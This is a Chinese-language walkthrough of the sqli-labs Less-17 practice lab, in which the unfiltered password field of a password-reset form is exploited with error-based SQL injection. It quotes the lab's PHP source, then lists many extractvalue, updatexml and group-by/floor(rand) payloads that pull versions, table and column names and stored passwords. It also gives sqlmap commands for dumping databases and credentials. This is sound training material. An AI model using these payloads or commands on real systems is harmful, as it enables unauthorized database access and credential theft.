Less_17 update报错注入
查看页面源码,这道题有个绕过
根据页面,我们可以知道这是个密码重置的页面,就是说我们已经登入系统,用户名固定Dhakkan
,查看源码
function check_input($value) //检查输入的用户名
{
if(!empty($value)) //如果用户名不为空,则进行下面的判断
{
// truncation (see comments)
$value = substr($value,0,15); //subtr()是一个截取函数,截取账号名前15个字符
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()) //该函数是否打开,打开则进入一下的判断
//该函数的作用是给(' " / null)特殊字符加上反斜杠转义
{
$value = stripslashes($value); //删除反斜杠
}
// Quote if not a number
if (!ctype_digit($value)) //uname字符串如果是非数字则将其中特殊字符转义
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else //如果是数字
{
$value = intval($value); //将其变成整数
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
get_magic_quotes_gpc() 获取当前 magic_quotes_gpc 的配置选项设置
stripslashes() 反引用一个引用字符串 返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)
ctype_digit() 检测数字字符
mysql_real_escape_string 将字符串中的特殊字符进行转义,以在 SQL 语句中使用
intval获取变量的整数值
/ connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。就是我们不能直接进行sql注入,uname被进行了过滤,但是passowrd没有,所以能以password作为注入点,但是要输对用户名才行
可以得到admin是库里面的一个用户名
其实也可以试试上几道题的方式,但是注入失败
比如:passwd=admin&submit=Submit&uname=admin"))#
分析完后,就是单引号注入
手工注入
还是用报错注入
原来报错注入有三种方式捏
我上面已经用过两种了
就是extractvalue()报错注入,updatexml()报错注入,group by()报错注入
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
爆字段名
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
爆列名
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出所有表
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))# 爆出所有字段名
1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出所有字段名
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)# 爆出该账户的密码。
工具注入
sqlmap -url "http://192.168.0.107/sqli-labs/Less-18/" --cookie="PHPSESSID=938ba4d9befdd8411a15a447" --batch --user-agent="1" --dbs --data="uname=Dhakkan&passwd=1&submit=Submit" --level=3 --risk=3
1、是否存在注入点
python sqlmap.py -r “响应包路径”
2、获取注入点所有数据库
python sqlmap.py -r “响应包路径” --dbs
3、获取当前使用的数据库
python sqlmap.py -r “响应包路径” --current-db --batch
4、获取数据库中的表
python sqlmap.py -r “响应包路径” --table -D “数据库名” --batch
5、获取表中的字段信息
python sqlmap.py -r “响应包路径” --columns -T “表名” -D “获取的数据库名” --batch
6、获取字段具体信息
python sqlmap.py -r “响应包路径” --dump -C “字段名(可多个)” --columns -T “表名” -D “数据库名” --batch
7、当前使用的账户
python sqlmap.py -r “响应包路径” --current-user
8、列出所有使用过的账户
python sqlmap.py -r “响应包路径” –users
9、mysql的登录账户和密码
python sqlmap.py -r “响应包路径” –passwords
直接用命令
python2 sqlmap.py -r 17.txt --batch -dbs
抓包将post表文放在17.txt下